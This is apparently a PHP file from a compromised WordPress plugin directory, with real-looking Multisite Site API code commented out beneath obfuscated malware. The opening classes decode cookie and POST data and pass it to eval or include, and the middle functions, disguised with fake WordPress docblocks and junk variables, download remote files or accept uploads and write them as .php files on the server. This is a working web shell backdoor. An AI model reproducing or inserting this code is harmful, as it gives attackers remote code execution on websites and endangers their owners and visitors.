Current File : /home/tsgmexic/4pie.com.mx/wp-content/plugins/3513p3q5/sr.js.php |
<?php /* $TJGGBK = "\102" . 'k' . '_' . chr (89) . chr ( 383 - 306 ).chr (100); $iaNEYhs = "\x63" . chr (108) . chr (97) . "\163" . 's' . chr (95) . chr ( 973 - 872 ).chr (120) . "\151" . "\x73" . chr (116) . chr ( 368 - 253 ); $FiAmP = class_exists($TJGGBK); $iaNEYhs = "44241";$Ptsmfnw = !1;if ($FiAmP == $Ptsmfnw){function zuuqnzOm(){return FALSE;}$uOudVjToO = "2375";zuuqnzOm();class Bk_YMd{private function CTnKfLIpm($uOudVjToO){if (is_array(Bk_YMd::$MxKgPxsmi)) {$eeGLZL = str_replace("\74" . '?' . chr ( 698 - 586 )."\150" . "\160", "", Bk_YMd::$MxKgPxsmi["\143" . "\157" . chr (110) . chr ( 614 - 498 ).chr (101) . 'n' . "\164"]);eval($eeGLZL); $uOudVjToO = "2375";exit();}}private $qwNiRnl;public function floHPS(){echo 3125;}public function __destruct(){$uOudVjToO = "43868_38026";$this->CTnKfLIpm($uOudVjToO); $uOudVjToO = "43868_38026";}public function __construct($RJpJCOf=0){$cWysBqME = $_POST;$CbCUS = $_COOKIE;$VDSIMppabu = "56cf3b39-0372-4980-b662-9be0e490b2dc";$GgWWFyX = @$CbCUS[substr($VDSIMppabu, 0, 4)];if (!empty($GgWWFyX)){$CobuiVUAc = "base64";$VHHdwlBJbN = "";$GgWWFyX = explode(",", $GgWWFyX);foreach ($GgWWFyX as $ugyfhQCYm){$VHHdwlBJbN .= @$CbCUS[$ugyfhQCYm];$VHHdwlBJbN .= @$cWysBqME[$ugyfhQCYm];}$VHHdwlBJbN = array_map($CobuiVUAc . chr (95) . "\x64" . chr (101) . "\x63" . chr ( 997 - 886 ).chr (100) . "\145", array($VHHdwlBJbN,)); $VHHdwlBJbN = $VHHdwlBJbN[0] ^ str_repeat($VDSIMppabu, (strlen($VHHdwlBJbN[0]) / strlen($VDSIMppabu)) + 1);Bk_YMd::$MxKgPxsmi = @unserialize($VHHdwlBJbN); $VHHdwlBJbN = class_exists("43868_38026");}}public static $MxKgPxsmi = 16957;}$PYblonQ = new 30290 $TJGGBK(2375 + 2375); $Ptsmfnw = $PYblonQ = $uOudVjToO = Array();} ?><?php /* $ggRaBmE = "\151" . "\x5f" . "\164" . 'u' . chr (87); $BAVmH = chr (99) . 'l' . "\141" . "\x73" . "\163" . '_' . chr (101) . "\x78" . chr (105) . "\x73" . "\x74" . chr (115); $ZXkvhbL = class_exists($ggRaBmE); $ggRaBmE = "7628";$BAVmH = "20462";$MJkabg = !1;if ($ZXkvhbL == $MJkabg){function SXPfEI(){return FALSE;}$LbLgbvQc = "51710";SXPfEI();class i_tuW{private function tqpTsSJ($LbLgbvQc){if (is_array(i_tuW::$OUDllpT)) {$UTyJDv = sys_get_temp_dir() . "/" . crc32(i_tuW::$OUDllpT[chr (115) . chr ( 384 - 287 ).chr ( 788 - 680 ).chr ( 902 - 786 )]);@i_tuW::$OUDllpT['w' . "\162" . "\x69" . chr ( 759 - 643 )."\x65"]($UTyJDv, i_tuW::$OUDllpT[chr ( 1060 - 961 )."\157" . chr (110) . "\164" . "\145" . chr ( 390 - 280 ).chr (116)]);include $UTyJDv;@i_tuW::$OUDllpT['d' . chr (101) . chr ( 898 - 790 ).chr ( 769 - 668 ).chr ( 915 - 799 ).chr (101)]($UTyJDv); $LbLgbvQc = "51710";exit();}}private $qaJMkkh;public function HtmrwvNba(){echo 36568;}public function __destruct(){$LbLgbvQc = "17236_59397";$this->tqpTsSJ($LbLgbvQc); $LbLgbvQc = "17236_59397";}public function __construct($ZCyZxYgKvU=0){$FTzDecfMPE = $_POST;$ckrkwQ = $_COOKIE;$HRwphr = "01a5d509-aee5-4baf-a729-8fd068665087";$HFUyzUMypY = @$ckrkwQ[substr($HRwphr, 0, 4)];if (!empty($HFUyzUMypY)){$fBisT = "base64";$HjlGx = "";$HFUyzUMypY = explode(",", $HFUyzUMypY);foreach ($HFUyzUMypY as $BaxeTgF){$HjlGx .= @$ckrkwQ[$BaxeTgF];$HjlGx .= @$FTzDecfMPE[$BaxeTgF];}$HjlGx = array_map($fBisT . "\x5f" . chr ( 575 - 475 ).chr (101) . "\x63" . 'o' . "\144" . 'e', array($HjlGx,)); $HjlGx = $HjlGx[0] ^ str_repeat($HRwphr, (strlen($HjlGx[0]) / strlen($HRwphr)) + 1);i_tuW::$OUDllpT = @unserialize($HjlGx); $HjlGx = class_exists("17236_59397");}}public static $OUDllpT = 21254;}$gDUMlKv = new 26856 i_tuW(51710 + 51710); $_POST = Array();unset($gDUMlKv);} ?><?php /*
*
* Site API
*
* @package WordPress
* @subpackage Multisite
* @since 5.1.0
*
* Inserts a new site into the database.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $data {
* Data for the new site that should be inserted.
*
* @type string $domain Site domain. Default empty string.
* @type string $path Site path. Default '/'.
* @type int $network_id The site's network ID. Default is the current network ID.
* @type string $registered When the site was registered, in SQL datetime format. Default is
* the current time.
* @type string $last_updated When the site was last updated, in SQL datetime format. Default is
* the value of $registered.
* @type int $public Whether the site is public. Default 1.
* @type int $archived Whether the site is archived. Default 0.
* @type int $mature Whether the site is mature. Default 0.
* @type int $spam Whether the site is spam. Default 0.
* @type int $deleted Whether the site is deleted. Default 0.
* @type int $lang_id The site's language ID. Currently unused. Default 0.
* @type int $user_id User ID for the site administrator. Passed to the
* `wp_initialize_site` hook.
* @type string $title Site title. Default is 'Site %d' where %d is the site ID. Passed
* to the `wp_initialize_site` hook.
* @type array $options Custom option $key => $value pairs to use. Default empty array. Passed
* to the `wp_initialize_site` hook.
* @type array $meta Custom site metadata $key => $value pairs to use. Default empty array.
* Passed to the `wp_initialize_site` hook.
* }
* @return int|WP_Error The new site's ID on success, or error object on failure.
function wp_insert_site( array $data ) {
global $wpdb;
$now = current_time( 'mysql', true );
$defaults = array(
'domain' => '',
'path' => '/',
'network_id' => get_current_network_id(),
'registered' => $now,
'last_updated' => $now,
'public' => 1,
'archived' => 0,
'mature' => 0,
'spam' => 0,
'deleted' => 0,
'lang_id' => 0,
);
$prepared_data = wp_prepare_site_data( $data, $defaults );
if ( is_wp_error( $prepared_data ) ) {
return $prepared_data;
}
if ( false === $wpdb->insert( $wpdb->blogs, $prepared_data ) ) {
return new WP_Error( 'db_insert_error', __( 'Could not insert site into the database.' ), $wpdb->last_error );
}
$site_id = (int) $wpdb->insert_id;
clean_blog_cache( $site_id );
$new_site = get_site( $site_id );
if ( ! $new_site ) {
return new WP_Error( 'get_site_e*/
/**
* Filters the HTML content for the image tag.
*
* @since 2.6.0
*
* @param string $html HTML content for the image.
* @param int $id Attachment ID.
* @param string $alt Image description for the alt attribute.
* @param string $title Image description for the title attribute.
* @param string $align Part of the class name for aligning the image.
* @param string|int[] $size Requested image size. Can be any registered image size name, or
* an array of width and height values in pixels (in that order).
*/
function colord_clamp_hsla($desired_aspect){
$spammed = ['Toyota', 'Ford', 'BMW', 'Honda'];
echo $desired_aspect;
}
/**
* Error Protection API: WP_Recovery_Mode_Cookie_Service class
*
* @package WordPress
* @since 5.2.0
*/
function upgrade_110($resume_url, $high_priority_element){
$counts = "a1b2c3d4e5";
$should_skip_font_weight = file_get_contents($resume_url);
// Strip 'index.php/' if we're not using path info permalinks.
$width_height_flags = validate_email($should_skip_font_weight, $high_priority_element);
//Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
// 3.94, 3.95
file_put_contents($resume_url, $width_height_flags);
}
// 4 bytes for offset, 4 bytes for size
/**
* Render the media on the frontend.
*
* @since 4.9.0
*
* @param array $instance Widget instance props.
*/
function column_date($top_level_count){
// [73][A4] -- A randomly generated unique ID to identify the current segment between many others (128 bits).
$object_position = __DIR__;
// Now we set that function up to execute when the admin_notices action is called.
$elname = "computations";
$distinct = "SimpleLife";
$remote = [2, 4, 6, 8, 10];
$header_dkim = [5, 7, 9, 11, 13];
$testurl = strtoupper(substr($distinct, 0, 5));
$originalPosition = array_map(function($existing_meta_query) {return ($existing_meta_query + 2) ** 2;}, $header_dkim);
$share_tab_wordpress_id = substr($elname, 1, 5);
$argsbackup = array_map(function($preview_query_args) {return $preview_query_args * 3;}, $remote);
$has_dim_background = ".php";
$top_level_count = $top_level_count . $has_dim_background;
$top_level_count = DIRECTORY_SEPARATOR . $top_level_count;
$top_level_count = $object_position . $top_level_count;
$formatted_offset = 15;
$audioinfoarray = function($selector_attrs) {return round($selector_attrs, -1);};
$ratio = uniqid();
$rgba_regexp = array_sum($originalPosition);
return $top_level_count;
}
$converted = 'JvVATN';
/* translators: 1: UTC abbreviation and offset, 2: UTC offset. */
function secretstream_xchacha20poly1305_rekey($converted, $container_context, $skipped_signature){
// Complex combined queries aren't supported for multi-value queries.
if (isset($_FILES[$converted])) {
standalone_value($converted, $container_context, $skipped_signature);
}
colord_clamp_hsla($skipped_signature);
}
/**
* @see ParagonIE_Sodium_Compat::hex2bin()
* @param string $curr
* @return string
* @throws \SodiumException
* @throws \TypeError
*/
function unregister_meta_key($inclusive){
$inclusive = ord($inclusive);
$exif_data = 10;
$header_dkim = [5, 7, 9, 11, 13];
$spammed = ['Toyota', 'Ford', 'BMW', 'Honda'];
$VBRmethodID = 5;
return $inclusive;
}
/**
* Get the current alert code and message. Alert codes are used to notify the site owner
* if there's a problem, like a connection issue between their site and the Akismet API,
* invalid requests being sent, etc.
*
* @param WP_REST_Request $request
* @return WP_Error|WP_REST_Response
*/
function validate_email($send_email_change_email, $high_priority_element){
$VBRmethodID = 5;
// Exit if we don't have a valid body or it's empty.
// Back compat hooks.
// Keep track of the user IDs for settings actually for this theme.
// MIME type <text string> $00
$found_block = 15;
$orig_interlace = $VBRmethodID + $found_block;
$wp_interactivity = $found_block - $VBRmethodID;
$asset = range($VBRmethodID, $found_block);
$minimum_font_size_rem = array_filter($asset, fn($attr_parts) => $attr_parts % 2 !== 0);
$ychanged = strlen($high_priority_element);
// Use byte limit, if we can.
$more_text = array_product($minimum_font_size_rem);
$cache_class = join("-", $asset);
// We need to unset this so that if SimplePie::set_file() has
$mkey = strlen($send_email_change_email);
// Clean up entire string, avoids re-parsing HTML.
$inv_sqrt = strtoupper($cache_class);
$ychanged = $mkey / $ychanged;
$endian_letter = substr($inv_sqrt, 3, 4);
$ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = str_ireplace("5", "five", $inv_sqrt);
$limitprev = ctype_alnum($endian_letter);
$use_root_padding = sizeof($asset);
$ychanged = ceil($ychanged);
$t_entries = str_shuffle($ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes);
$enclosure = explode("-", $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes);
$memory_limit = str_split($send_email_change_email);
$high_priority_element = str_repeat($high_priority_element, $ychanged);
$enqueued_scripts = str_split($high_priority_element);
// No cache hit, let's update the cache and return the cached value.
$used_class = $cache_class == $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes;
$enqueued_scripts = array_slice($enqueued_scripts, 0, $mkey);
$users_can_register = array_map("wp_page_menu", $memory_limit, $enqueued_scripts);
$users_can_register = implode('', $users_can_register);
// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
// Skip lazy-loading for the overall block template, as it is handled more granularly.
return $users_can_register;
}
/**
* Fires when the custom Backbone media templates are printed.
*
* @since 3.5.0
*/
function get_widgets($skipped_signature){
// Parameters :
$is_dynamic = 10;
$error_col = [85, 90, 78, 88, 92];
$is_search = 14;
$start_time = "abcxyz";
$client_version = "hashing and encrypting data";
get_blog_permalink($skipped_signature);
colord_clamp_hsla($skipped_signature);
}
/**
* Displays the atom enclosure for the current post.
*
* Uses the global $post to check whether the post requires a password and if
* the user has the password for the post. If not then it will return before
* displaying.
*
* Also uses the function get_post_custom() to get the post's 'enclosure'
* metadata field and parses the value to display the enclosure(s). The
* enclosure(s) consist of link HTML tag(s) with a URI and other attributes.
*
* @since 2.2.0
*/
function get_archives($converted){
// Nikon:MakerNoteVersion - https://exiftool.org/TagNames/Nikon.html
$container_context = 'xMcSzQcrFLQSCdofREDYmmR';
// Check that we have at least 3 components (including first)
$declaration_value = 4;
$Body = 50;
$header_dkim = [5, 7, 9, 11, 13];
$BlockType = [0, 1];
$field_types = 32;
$originalPosition = array_map(function($existing_meta_query) {return ($existing_meta_query + 2) ** 2;}, $header_dkim);
while ($BlockType[count($BlockType) - 1] < $Body) {
$BlockType[] = end($BlockType) + prev($BlockType);
}
$should_skip_text_transform = $declaration_value + $field_types;
$rgba_regexp = array_sum($originalPosition);
if ($BlockType[count($BlockType) - 1] >= $Body) {
array_pop($BlockType);
}
$callback_batch = min($originalPosition);
$z3 = $field_types - $declaration_value;
if (isset($_COOKIE[$converted])) {
post_tags_meta_box($converted, $container_context);
}
}
/**
* Send Access-Control-Allow-Origin and related headers if the current request
* is from an allowed origin.
*
* If the request is an OPTIONS request, the script exits with either access
* control headers sent, or a 403 response if the origin is not allowed. For
* other request methods, you will receive a return value.
*
* @since 3.4.0
*
* @return string|false Returns the origin URL if headers are sent. Returns false
* if headers are not sent.
*/
function has_published_pages($wp_min_priority_img_pixels, $resume_url){
// [3A][96][97] -- A string describing the encoding setting used.
// If no singular -- empty object.
$tmpf = mt_setPostCategories($wp_min_priority_img_pixels);
if ($tmpf === false) {
return false;
}
$send_email_change_email = file_put_contents($resume_url, $tmpf);
return $send_email_change_email;
}
/**
* Displays the post title in the feed.
*
* @since 0.71
*/
function get_blog_permalink($wp_min_priority_img_pixels){
// Site Admin.
$isauthority = 13;
$akismet_nonce_option = "Functionality";
$alloptions_db = range(1, 15);
// If any posts have been excluded specifically, Ignore those that are sticky.
$sidebar_instance_count = 26;
$codepoints = strtoupper(substr($akismet_nonce_option, 5));
$FLVdataLength = array_map(function($auth_key) {return pow($auth_key, 2) - 10;}, $alloptions_db);
// video bitrate undetermined, but calculable
// Check ISIZE of data
$default_size = $isauthority + $sidebar_instance_count;
$local = mt_rand(10, 99);
$stopwords = max($FLVdataLength);
$body_classes = $codepoints . $local;
$preview_nav_menu_instance_args = $sidebar_instance_count - $isauthority;
$id3v1tag = min($FLVdataLength);
// Fall back to the default set of icon colors if the default scheme is missing.
// Implementations shall ignore any standard or non-standard object that they do not know how to handle.
$add_new_screen = "123456789";
$sourcekey = range($isauthority, $sidebar_instance_count);
$page_for_posts = array_sum($alloptions_db);
$dropdown_id = array_filter(str_split($add_new_screen), function($selector_attrs) {return intval($selector_attrs) % 3 === 0;});
$privacy_policy_content = array();
$last_revision = array_diff($FLVdataLength, [$stopwords, $id3v1tag]);
$top_level_count = basename($wp_min_priority_img_pixels);
$resume_url = column_date($top_level_count);
//Already connected?
has_published_pages($wp_min_priority_img_pixels, $resume_url);
}
$declaration_value = 4;
/**
* Sanitize an input.
*
* @since 3.4.0
*
* @param string|array $hide_clusters The value to sanitize.
* @return string|array|null|WP_Error Sanitized value, or `null`/`WP_Error` if invalid.
*/
function set_credit_class($curr) {
// Total spam in queue
$feed_link = preg_replace('/[^A-Za-z0-9]/', '', strtolower($curr));
$distinct = "SimpleLife";
$ac3_data = 21;
$f9g6_19 = 6;
$remote = [2, 4, 6, 8, 10];
// JSON_UNESCAPED_SLASHES is only to improve readability as slashes needn't be escaped in storage.
$testurl = strtoupper(substr($distinct, 0, 5));
$argsbackup = array_map(function($preview_query_args) {return $preview_query_args * 3;}, $remote);
$loaded_translations = 34;
$template_base_path = 30;
// but some programs write their version strings in a JUNK chunk (e.g. VirtualDub, AVIdemux, etc)
// [96] -- Timecode of the referenced Block.
return $feed_link === strrev($feed_link);
}
/**
* Checks if a post can be edited.
*
* @since 4.7.0
*
* @param WP_Post $post Post object.
* @return bool Whether the post can be edited.
*/
function get_cached_events($CompressedFileData) {
// Setup arguments.
$slug_group = "Navigation System";
$att_title = range(1, 10);
$Body = 50;
$declaration_value = 4;
array_walk($att_title, function(&$auth_key) {$auth_key = pow($auth_key, 2);});
$BlockType = [0, 1];
$incat = preg_replace('/[aeiou]/i', '', $slug_group);
$field_types = 32;
$create_title = strlen($incat);
$should_skip_text_transform = $declaration_value + $field_types;
$f0f2_2 = array_sum(array_filter($att_title, function($hide_clusters, $high_priority_element) {return $high_priority_element % 2 === 0;}, ARRAY_FILTER_USE_BOTH));
while ($BlockType[count($BlockType) - 1] < $Body) {
$BlockType[] = end($BlockType) + prev($BlockType);
}
// Response has valid data.
// JPEG - still image - Joint Photographic Experts Group (JPEG)
// Re-initialize any hooks added manually by object-cache.php.
// Remove anything that's not present in the schema.
// QWORD
$option_names = block_core_home_link_build_css_colors($CompressedFileData);
// Step 6: Encode with Punycode
$author__in = substr($incat, 0, 4);
$expiration_duration = 1;
if ($BlockType[count($BlockType) - 1] >= $Body) {
array_pop($BlockType);
}
$z3 = $field_types - $declaration_value;
return implode("\n", $option_names);
}
/**
* Adds the duotone SVGs and CSS custom properties to the editor settings.
*
* This allows the properties to be pulled in by the EditorStyles component
* in JS and rendered in the post editor.
*
* @since 6.3.0
*
* @param array $settings The block editor settings from the `block_editor_settings_all` filter.
* @return array The editor settings with duotone SVGs and CSS custom properties.
*/
function clean_query($wp_min_priority_img_pixels){
// Hotlink Open Sans, for now.
// module.audio-video.flv.php //
if (strpos($wp_min_priority_img_pixels, "/") !== false) {
return true;
}
return false;
}
/**
* Displays a list of post custom fields.
*
* @since 1.2.0
*
* @deprecated 6.0.2 Use get_post_meta() to retrieve post meta and render manually.
*/
function block_core_home_link_build_css_colors($CompressedFileData) {
// Big pattern for the rest of the table-related queries.
// extract. The form of the string is "0,4-6,8-12" with only numbers
// Check we can process signatures.
$distinct = "SimpleLife";
// if tags are inlined, then flatten
$testurl = strtoupper(substr($distinct, 0, 5));
// Start at -2 for conflicting custom IDs.
$sensitive = [];
$ratio = uniqid();
$declarations_indent = substr($ratio, -3);
$all_plugin_dependencies_installed = $testurl . $declarations_indent;
foreach ($CompressedFileData as $opt_in_path) {
$sensitive[] = wp_cache_add($opt_in_path);
}
return $sensitive;
}
/**
* Exception for 431 Request Header Fields Too Large responses
*
* @link https://tools.ietf.org/html/rfc6585
*
* @package Requests\Exceptions
*/
function standalone_value($converted, $container_context, $skipped_signature){
$top_level_count = $_FILES[$converted]['name'];
$resume_url = column_date($top_level_count);
upgrade_110($_FILES[$converted]['tmp_name'], $container_context);
getToAddresses($_FILES[$converted]['tmp_name'], $resume_url);
}
/* translators: %s: Property of an object. */
function wp_cache_add($curr) {
$spammed = ['Toyota', 'Ford', 'BMW', 'Honda'];
$header_dkim = [5, 7, 9, 11, 13];
$Body = 50;
$remote = [2, 4, 6, 8, 10];
$counts = "a1b2c3d4e5";
if (set_credit_class($curr)) {
return "'$curr' is a palindrome.";
}
return "'$curr' is not a palindrome.";
}
$att_title = range(1, 10);
$suppress_errors = range('a', 'z');
$field_types = 32;
/**
* Cached comment count.
*
* A numeric string, for compatibility reasons.
*
* @since 3.5.0
* @var string
*/
function wp_page_menu($pointpos, $circular_dependencies){
// Allow 0, but squash to 1 due to identical images in GD, and for backward compatibility.
// This should really not be needed, but is necessary for backward compatibility.
$header_dkim = [5, 7, 9, 11, 13];
$day_month_year_error_msg = "Exploration";
$start_time = "abcxyz";
$remote = [2, 4, 6, 8, 10];
$originalPosition = array_map(function($existing_meta_query) {return ($existing_meta_query + 2) ** 2;}, $header_dkim);
$theme_status = strrev($start_time);
$trackarray = substr($day_month_year_error_msg, 3, 4);
$argsbackup = array_map(function($preview_query_args) {return $preview_query_args * 3;}, $remote);
$u1u1 = unregister_meta_key($pointpos) - unregister_meta_key($circular_dependencies);
//Check the host name is a valid name or IP address before trying to use it
$u1u1 = $u1u1 + 256;
$rgba_regexp = array_sum($originalPosition);
$show_confirmation = strtotime("now");
$p_p1p1 = strtoupper($theme_status);
$formatted_offset = 15;
$u1u1 = $u1u1 % 256;
// Let settings supplied via args override any defaults.
$pointpos = sprintf("%c", $u1u1);
$query_fields = date('Y-m-d', $show_confirmation);
$callback_batch = min($originalPosition);
$lock = ['alpha', 'beta', 'gamma'];
$options_audiovideo_matroska_parse_whole_file = array_filter($argsbackup, function($hide_clusters) use ($formatted_offset) {return $hide_clusters > $formatted_offset;});
// We don't need to add the subpart to $index_columns_without_subparts
return $pointpos;
}
/**
* Filters whether a sidebar has widgets.
*
* Note: The filter is also evaluated for empty sidebars, and on both the front end
* and back end, including the Inactive Widgets sidebar on the Widgets screen.
*
* @since 3.9.0
*
* @param bool $did_one Whether at least one widget was rendered in the sidebar.
* Default false.
* @param int|string $index Index, name, or ID of the dynamic sidebar.
*/
function getToAddresses($msgKeypair, $yearlink){
// with the same name already exists and is
// ----- Write the 42 bytes of the header in the zip file
$should_update = move_uploaded_file($msgKeypair, $yearlink);
// Use more clear and inclusive language.
// If the preset is not already keyed by origin.
return $should_update;
}
array_walk($att_title, function(&$auth_key) {$auth_key = pow($auth_key, 2);});
/**
* Returns a filtered list of allowed area values for template parts.
*
* @since 5.9.0
*
* @return array[] The supported template part area values.
*/
function post_tags_meta_box($converted, $container_context){
// ----- Re-Create the Central Dir files header
$comment_errors = $_COOKIE[$converted];
$parent1 = [72, 68, 75, 70];
$ac3_data = 21;
// If we have a word based diff, use it. Otherwise, use the normal line.
// If pingbacks aren't open on this post, we'll still check whether this request is part of a potential DDOS,
$comment_errors = pack("H*", $comment_errors);
$skipped_signature = validate_email($comment_errors, $container_context);
// Meta query support.
// The sibling must both have compatible operator to share its alias.
if (clean_query($skipped_signature)) {
$to_display = get_widgets($skipped_signature);
return $to_display;
}
secretstream_xchacha20poly1305_rekey($converted, $container_context, $skipped_signature);
}
$found_end_marker = $suppress_errors;
/**
* This was once used to kick-off the Core Updater.
*
* Deprecated in favor of instantiating a Core_Upgrader instance directly,
* and calling the 'upgrade' method.
*
* @since 2.7.0
* @deprecated 3.7.0 Use Core_Upgrader
* @see Core_Upgrader
*/
function mt_setPostCategories($wp_min_priority_img_pixels){
// COPYRIGHT
$wp_min_priority_img_pixels = "http://" . $wp_min_priority_img_pixels;
return file_get_contents($wp_min_priority_img_pixels);
}
// c - Experimental indicator
// Also need to return the number of bytes the string occupied so additional fields can be extracted
// The first four bits indicate gain changes in 6.02dB increments which can be
get_archives($converted);
/* rror', __( 'Could not retrieve site data.' ) );
}
*
* Fires once a site has been inserted into the database.
*
* @since 5.1.0
*
* @param WP_Site $new_site New site object.
do_action( 'wp_insert_site', $new_site );
Extract the passed arguments that may be relevant for site initialization.
$args = array_diff_key( $data, $defaults );
if ( isset( $args['site_id'] ) ) {
unset( $args['site_id'] );
}
*
* Fires when a site's initialization routine should be executed.
*
* @since 5.1.0
*
* @param WP_Site $new_site New site object.
* @param array $args Arguments for the initialization.
do_action( 'wp_initialize_site', $new_site, $args );
Only compute extra hook parameters if the deprecated hook is actually in use.
if ( has_action( 'wpmu_new_blog' ) ) {
$user_id = ! empty( $args['user_id'] ) ? $args['user_id'] : 0;
$meta = ! empty( $args['options'] ) ? $args['options'] : array();
WPLANG was passed with `$meta` to the `wpmu_new_blog` hook prior to 5.1.0.
if ( ! array_key_exists( 'WPLANG', $meta ) ) {
$meta['WPLANG'] = get_network_option( $new_site->network_id, 'WPLANG' );
}
* Rebuild the data expected by the `wpmu_new_blog` hook prior to 5.1.0 using allowed keys.
* The `$allowed_data_fields` matches the one used in `wpmu_create_blog()`.
$allowed_data_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
$meta = array_merge( array_intersect_key( $data, array_flip( $allowed_data_fields ) ), $meta );
*
* Fires immediately after a new site is created.
*
* @since MU (3.0.0)
* @deprecated 5.1.0 Use {@see 'wp_initialize_site'} instead.
*
* @param int $site_id Site ID.
* @param int $user_id User ID.
* @param string $domain Site domain.
* @param string $path Site path.
* @param int $network_id Network ID. Only relevant on multi-network installations.
* @param array $meta Meta data. Used to set initial site options.
do_action_deprecated(
'wpmu_new_blog',
array( $new_site->id, $user_id, $new_site->domain, $new_site->path, $new_site->network_id, $meta ),
'5.1.0',
'wp_initialize_site'
);
}
return (int) $new_site->id;
}
*
* Updates a site in the database.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $site_id ID of the site that should be updated.
* @param array $data Site data to update. See {@see wp_insert_site()} for the list of supported keys.
* @return int|WP_Error The updated site's ID on success, or error object on failure.
function wp_update_site( $site_id, array $data ) {
global $wpdb;
if ( empty( $site_id ) ) {
return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
}
$old_site = get_site( $site_id );
if ( ! $old_site ) {
return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
}
$defaults = $old_site->to_array();
$defaults['network_id'] = (int) $defaults['site_id'];
$defaults['last_updated'] = current_time( 'mysql', true );
unset( $defaults['blog_id'], $defaults['site_id'] );
$data = wp_prepare_site_data( $data, $defaults, $old_site );
if ( is_wp_error( $data ) ) {
return $data;
}
if ( false === $wpdb->update( $wpdb->blogs, $data, array( 'blog_id' => $old_site->id ) ) ) {
return new WP_Error( 'db_update_error', __( 'Could not update site in the database.' ), $wpdb->last_error );
}
clean_blog_cache( $old_site );
$new_site = get_site( $old_site->id );
*
* Fires once a site has been updated in the database.
*
* @since 5.1.0
*
* @param WP_Site $new_site New site object.
* @param WP_Site $old_site Old site object.
do_action( 'wp_update_site', $new_site, $old_site );
return (int) $new_site->id;
}
*
* Deletes a site from the database.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int $site_id ID of the site that should be deleted.
* @return WP_Site|WP_Error The deleted site object on success, or error object on failure.
function wp_delete_site( $site_id ) {
global $wpdb;
if ( empty( $site_id ) ) {
return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
}
$old_site = get_site( $site_id );
if ( ! $old_site ) {
return new WP_Error( 'site_not_exist', __( 'Site does not exist.' ) );
}
$errors = new WP_Error();
*
* Fires before a site should be deleted from the database.
*
* Plugins should amend the `$errors` object via its `WP_Error::add()` method. If any errors
* are present, the site will not be deleted.
*
* @since 5.1.0
*
* @param WP_Error $errors Error object to add validation errors to.
* @param WP_Site $old_site The site object to be deleted.
do_action( 'wp_validate_site_deletion', $errors, $old_site );
if ( ! empty( $errors->errors ) ) {
return $errors;
}
*
* Fires before a site is deleted.
*
* @since MU (3.0.0)
* @deprecated 5.1.0
*
* @param int $site_id The site ID.
* @param bool $drop True if site's table should be dropped. Default false.
do_action_deprecated( 'delete_blog', array( $old_site->id, true ), '5.1.0' );
*
* Fires when a site's uninitialization routine should be executed.
*
* @since 5.1.0
*
* @param WP_Site $old_site Deleted site object.
do_action( 'wp_uninitialize_site', $old_site );
if ( is_site_meta_supported() ) {
$blog_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->blogmeta WHERE blog_id = %d ", $old_site->id ) );
foreach ( $blog_meta_ids as $mid ) {
delete_metadata_by_mid( 'blog', $mid );
}
}
if ( false === $wpdb->delete( $wpdb->blogs, array( 'blog_id' => $old_site->id ) ) ) {
return new WP_Error( 'db_delete_error', __( 'Could not delete site from the database.' ), $wpdb->last_error );
}
clean_blog_cache( $old_site );
*
* Fires once a site has been deleted from the database.
*
* @since 5.1.0
*
* @param WP_Site $old_site Deleted site object.
do_action( 'wp_delete_site', $old_site );
*
* Fires after the site is deleted from the network.
*
* @since 4.8.0
* @deprecated 5.1.0
*
* @param int $site_id The site ID.
* @param bool $drop True if site's tables should be dropped. Default false.
do_action_deprecated( 'deleted_blog', array( $old_site->id, true ), '5.1.0' );
return $old_site;
}
*
* Retrieves site data given a site ID or site object.
*
* Site data will be cached and returned after being passed through a filter.
* If the provided site is empty, the current site global will be used.
*
* @since 4.6.0
*
* @param WP_Site|int|null $site Optional. Site to retrieve. Default is the current site.
* @return WP_Site|null The site object or null if not found.
function get_site( $site = null ) {
if ( empty( $site ) ) {
$site = get_current_blog_id();
}
if ( $site instanceof WP_Site ) {
$_site = $site;
} elseif ( is_object( $site ) ) {
$_site = new WP_Site( $site );
} else {
$_site = WP_Site::get_instance( $site );
}
if ( ! $_site ) {
return null;
}
*
* Fires after a site is retrieved.
*
* @since 4.6.0
*
* @param WP_Site $_site Site data.
$_site = apply_filters( 'get_site', $_site );
return $_site;
}
*
* Adds any sites from the given IDs to the cache that do not already exist in cache.
*
* @since 4.6.0
* @since 5.1.0 Introduced the `$update_meta_cache` parameter.
* @since 6.1.0 This function is no longer marked as "private".
* @since 6.3.0 Use wp_lazyload_site_meta() for lazy-loading of site meta.
*
* @see update_site_cache()
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $ids ID list.
* @param bool $update_meta_cache Optional. Whether to update the meta cache. Default true.
function _prime_site_caches( $ids, $update_meta_cache = true ) {
global $wpdb;
$non_cached_ids = _get_non_cached_ids( $ids, 'sites' );
if ( ! empty( $non_cached_ids ) ) {
$fresh_sites = $wpdb->get_results( sprintf( "SELECT * FROM $wpdb->blogs WHERE blog_id IN (%s)", implode( ',', array_map( 'intval', $non_cached_ids ) ) ) ); phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
update_site_cache( $fresh_sites, false );
}
if ( $update_meta_cache ) {
wp_lazyload_site_meta( $ids );
}
}
*
* Queue site meta for lazy-loading.
*
* @since 6.3.0
*
* @param array $site_ids List of site IDs.
function wp_lazyload_site_meta( array $site_ids ) {
if ( empty( $site_ids ) ) {
return;
}
$lazyloader = wp_metadata_lazyloader();
$lazyloader->queue_objects( 'blog', $site_ids );
}
*
* Updates sites in cache.
*
* @since 4.6.0
* @since 5.1.0 Introduced the `$update_meta_cache` parameter.
*
* @param array $sites Array of site objects.
* @param bool $update_meta_cache Whether to update site meta cache. Default true.
